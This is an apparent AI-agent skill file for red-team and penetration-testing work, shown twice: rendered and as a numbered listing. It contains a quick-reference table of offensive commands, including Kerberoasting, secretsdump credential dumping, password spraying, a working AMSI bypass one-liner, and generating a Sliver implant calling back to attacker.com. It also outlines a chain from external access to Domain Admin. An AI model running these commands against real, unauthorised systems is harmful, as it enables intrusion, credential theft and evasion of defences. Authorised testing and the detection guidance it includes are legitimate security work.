name: red-team
description: >-
Red team operations and penetration testing. Routes to sub-skills by domain:
web application attacks (red-team/web/), Active Directory exploitation
(red-team/active-directory/), cloud attacks (red-team/cloud/), and
post-exploitation/C2 (red-team/post-exploitation/). Use when asked about
offensive security, exploitation, attack paths, CTF challenges, or
red team engagements.
domain: cybersecurity
subdomain: red-teaming
tags:
- penetration-testing
- offensive-security
- red-team
- exploitation
- mitre-attack
- kill-chain
- ctf
version: "1.1"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
mitre-attack: ["T1190", "T1566", "T1059", "T1003", "T1021", "T1078"]
sub-skills:
- red-team/web
- red-team/active-directory
- red-team/cloud
- red-team/post-exploitation
Red Team Operations
When to Use
- Penetration testing methodology and engagement planning
- Offensive security tool selection and attack path mapping
- CTF challenges and vulnerability research
- Sub-skills load by domain — see routing table below
| Domain |
Sub-skill |
Triggers |
| Web |
red-team/web/ |
SQLi, XSS, SSTI, SSRF, JWT, OAuth, API abuse |
| Active Directory |
red-team/active-directory/ |
Kerberos, ADCS, NTLM, BloodHound, Windows domain |
| Cloud |
red-team/cloud/ |
AWS, Azure, GCP, IAM, metadata, S3 |
| Post-Exploitation |
red-team/post-exploitation/ |
Linux privesc, C2, Sliver, evasion, pivoting |
Engagement Mindset
Think like the defender to beat them: Know what each technique logs (Event IDs, Sysmon rules, EDR telemetry) before executing. Slow and deliberate beats fast and noisy.
Assume monitoring: Treat every command as if it is logged. Default to LOLBins, in-memory execution, and legitimate admin tools before dropping custom binaries.
Objective-driven: Define the crown jewel before starting. Every action asks "does this get me closer to the objective?"
Kill Chain Overview (MITRE ATT&CK)
Recon — OSINT, DNS, Shodan, certificate transparency
Initial Access — phishing (T1566), exploit public-facing app (T1190)
Execution — PowerShell (T1059.001), WMI (T1047)
Persistence — registry run keys, scheduled tasks, WMI subscriptions
Privilege Esc — token impersonation, kernel exploits, sudo abuse
Defense Evasion — AMSI bypass, LOLBins, process injection, ETW patching
Credential Access — LSASS dump, Kerberoast, AS-REP, DCSync
Discovery — BloodHound, SharpHound, ADRecon
Lateral Move — PtH, PtT, WMI, PSRemoting, Sliver pivots
C2 — mTLS (Sliver), HTTPS beacons, DNS C2
Exfiltration — HTTPS, DNS tunneling, Egress-Assess
Standard Toolkit
| Phase |
Tool |
Purpose |
| Recon |
nmap, masscan |
Port/service discovery |
| Web |
Burp Suite, sqlmap, ffuf |
Web application testing |
| AD |
BloodHound, Rubeus, NetExec |
AD enumeration and exploitation |
| Credentials |
Impacket, pypykatz, Mimikatz |
Credential extraction |
| C2 |
Sliver, Metasploit |
Command and control |
| Pivot |
Chisel, Ligolo-ng |
Tunneling and pivoting |
| Evasion |
ThreatCheck, Invoke-Obfuscation |
Detection bypass |
Quick Reference
| Task |
Command |
| Nmap SYN scan |
nmap -sS -sV -sC -O --top-ports 1000 -T4 -oA output target |
| BloodHound collect |
SharpHound.exe -c All --zipfilename bh.zip |
| Kerberoast |
GetUserSPNs.py domain/user:pass -request -outputfile spns.txt |
| Secretsdump |
secretsdump.py domain/user:pass@target |
| Sliver generate |
generate --mtls attacker.com --os windows --save implant.exe |
| Chisel pivot |
server: chisel server -p 8888 --reverse |
| NetExec spray |
nxc smb targets.txt -u users.txt -p pass.txt --continue-on-success |
| AMSI bypass |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
Key Chain: External to Domain Admin
- Recon: nmap top-1000 + BloodHound SharpHound → attack surface
- Initial access: phishing (T1566) or exploit public app (T1190) → foothold
- Local privesc: sudo, SUID, cron, PATH hijack → SYSTEM/root
- Credential access: LSASS dump or Kerberoast → crackable hashes
- Lateral movement: PtH/PtT or NetExec psexec → high-value hosts
- Domain escalation: BloodHound path to DA → DCSync → all domain hashes
- Persistence: golden ticket + C2 beacon
- Report: ATT&CK Navigator annotated findings
Detection Opportunities
Every technique in this skill generates detectable artifacts. Key detection surfaces:
- Sysmon Event ID 10 (ProcessAccess to lsass.exe) for credential dumping
- Event ID 4769 with RC4 encryption for Kerberoasting
- Event ID 4625 patterns for password spraying
- DNS query volume anomalies for C2 beaconing
- Named pipe creation for lateral movement tools
Verification
1---2name: red-team-23description: <!-- Copyright (c) 2026 defconxt. All rights reserved. -->4---5
6<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
7<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
8---
9name: red-team
10description: >-
11 Red team operations and penetration testing. Routes to sub-skills by domain:
12 web application attacks (red-team/web/), Active Directory exploitation
13 (red-team/active-directory/), cloud attacks (red-team/cloud/), and
14 post-exploitation/C2 (red-team/post-exploitation/). Use when asked about
15 offensive security, exploitation, attack paths, CTF challenges, or
16 red team engagements.
17domain: cybersecurity
18subdomain: red-teaming
19tags:
20 - penetration-testing
21 - offensive-security
22 - red-team
23 - exploitation
24 - mitre-attack
25 - kill-chain
26 - ctf
27version: "1.1"
28author: defconxt
29license: AGPL-3.0
30compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
31metadata:
32 mitre-attack: ["T1190", "T1566", "T1059", "T1003", "T1021", "T1078"]
33 sub-skills:
34 - red-team/web
35 - red-team/active-directory
36 - red-team/cloud
37 - red-team/post-exploitation
38---
39
40# Red Team Operations
41
42## When to Use
43
44- Penetration testing methodology and engagement planning
45- Offensive security tool selection and attack path mapping
46- CTF challenges and vulnerability research
47- Sub-skills load by domain — see routing table below
48
49| Domain | Sub-skill | Triggers |
50|--------|-----------|----------|
51| Web | `red-team/web/` | SQLi, XSS, SSTI, SSRF, JWT, OAuth, API abuse |
52| Active Directory | `red-team/active-directory/` | Kerberos, ADCS, NTLM, BloodHound, Windows domain |
53| Cloud | `red-team/cloud/` | AWS, Azure, GCP, IAM, metadata, S3 |
54| Post-Exploitation | `red-team/post-exploitation/` | Linux privesc, C2, Sliver, evasion, pivoting |
55
56## Engagement Mindset
57
58**Think like the defender to beat them:** Know what each technique logs (Event IDs, Sysmon rules, EDR telemetry) before executing. Slow and deliberate beats fast and noisy.
59
60**Assume monitoring:** Treat every command as if it is logged. Default to LOLBins, in-memory execution, and legitimate admin tools before dropping custom binaries.
61
62**Objective-driven:** Define the crown jewel before starting. Every action asks "does this get me closer to the objective?"
63
64## Kill Chain Overview (MITRE ATT&CK)
65
66```
67Recon — OSINT, DNS, Shodan, certificate transparency
68Initial Access — phishing (T1566), exploit public-facing app (T1190)
69Execution — PowerShell (T1059.001), WMI (T1047)
70Persistence — registry run keys, scheduled tasks, WMI subscriptions
71Privilege Esc — token impersonation, kernel exploits, sudo abuse
72Defense Evasion — AMSI bypass, LOLBins, process injection, ETW patching
73Credential Access — LSASS dump, Kerberoast, AS-REP, DCSync
74Discovery — BloodHound, SharpHound, ADRecon
75Lateral Move — PtH, PtT, WMI, PSRemoting, Sliver pivots
76C2 — mTLS (Sliver), HTTPS beacons, DNS C2
77Exfiltration — HTTPS, DNS tunneling, Egress-Assess
78```
79
80## Standard Toolkit
81
82| Phase | Tool | Purpose |
83|-------|------|---------|
84| Recon | nmap, masscan | Port/service discovery |
85| Web | Burp Suite, sqlmap, ffuf | Web application testing |
86| AD | BloodHound, Rubeus, NetExec | AD enumeration and exploitation |
87| Credentials | Impacket, pypykatz, Mimikatz | Credential extraction |
88| C2 | Sliver, Metasploit | Command and control |
89| Pivot | Chisel, Ligolo-ng | Tunneling and pivoting |
90| Evasion | ThreatCheck, Invoke-Obfuscation | Detection bypass |
91
92## Quick Reference
93
94| Task | Command |
95|------|---------|
96| Nmap SYN scan | `nmap -sS -sV -sC -O --top-ports 1000 -T4 -oA output target` |
97| BloodHound collect | `SharpHound.exe -c All --zipfilename bh.zip` |
98| Kerberoast | `GetUserSPNs.py domain/user:pass -request -outputfile spns.txt` |
99| Secretsdump | `secretsdump.py domain/user:pass@target` |
100| Sliver generate | `generate --mtls attacker.com --os windows --save implant.exe` |
101| Chisel pivot | server: `chisel server -p 8888 --reverse` |
102| NetExec spray | `nxc smb targets.txt -u users.txt -p pass.txt --continue-on-success` |
103| AMSI bypass | `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)` |
104
105## Key Chain: External to Domain Admin
106
1071. **Recon**: nmap top-1000 + BloodHound SharpHound → attack surface
1082. **Initial access**: phishing (T1566) or exploit public app (T1190) → foothold
1093. **Local privesc**: sudo, SUID, cron, PATH hijack → SYSTEM/root
1104. **Credential access**: LSASS dump or Kerberoast → crackable hashes
1115. **Lateral movement**: PtH/PtT or NetExec psexec → high-value hosts
1126. **Domain escalation**: BloodHound path to DA → DCSync → all domain hashes
1137. **Persistence**: golden ticket + C2 beacon
1148. **Report**: ATT&CK Navigator annotated findings
115
116## Detection Opportunities
117
118Every technique in this skill generates detectable artifacts. Key detection surfaces:
119- Sysmon Event ID 10 (ProcessAccess to lsass.exe) for credential dumping
120- Event ID 4769 with RC4 encryption for Kerberoasting
121- Event ID 4625 patterns for password spraying
122- DNS query volume anomalies for C2 beaconing
123- Named pipe creation for lateral movement tools
124
125## Verification
126
127- [ ] Correct sub-skill loaded for engagement type
128- [ ] Engagement follows pipeline methodology
majiayu000